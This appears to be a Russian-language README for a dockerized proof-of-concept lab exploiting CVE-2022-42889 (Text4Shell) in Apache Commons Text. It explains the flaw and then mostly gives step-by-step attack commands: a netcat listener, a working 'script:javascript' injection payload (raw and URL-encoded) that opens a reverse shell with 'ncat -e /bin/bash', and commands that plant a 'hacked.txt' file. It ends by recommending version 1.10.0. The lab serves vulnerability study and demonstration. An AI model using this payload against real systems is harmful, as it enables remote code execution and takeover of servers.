
Простое докеризованное приложение, демонстрирующее, как эксплуатировать уязвимость CVE-2022-42889.
Доказательство концепции для уязвимости Apache commons-text CVE-2022-42889.
Apache Commons Text выполняет интерполяцию переменных, позволяя свойствам динамически вычисляться и подставляться. Стандартный формат интерполяции — "${prefix:name}", где "prefix" используется для поиска экземпляра org.apache.commons.text.lookup.StringLookup, который выполняет интерполяцию. Начиная с версии 1.5 и вплоть до 1.9, набор стандартных экземпляров Lookup включал интерполяторы, которые могли приводить к выполнению произвольного кода или контакту с удалёнными серверами. Эти lookup-механизмы: - "script" - выполняет выражения с помощью движка выполнения сценариев JVM (javax.script) - "dns" - разрешает DNS-записи - "url" - загружает значения из URL, включая удалённые серверы. Приложения, использующие интерполяцию по умолчанию в затронутых версиях, могут быть уязвимы к удалённому выполнению кода или непреднамеренному контакту с удалёнными серверами, если используются недоверенные значения конфигурации.
Apache Commons Text версии с 1.5 по 1.9
CVE-2022-42889-POC:docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
Атака может быть выполнена путём передачи строки "${prefix:name}" где префикс — это вышеупомянутый lookup: ${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
Если после команды ls на вкладке терминала 3 вы видите файл hacked.txt, значит, атака выполнена.

Пользователям рекомендуется обновиться до Apache Commons Text 1.10.0, в котором проблемные интерполяторы отключены по умолчанию.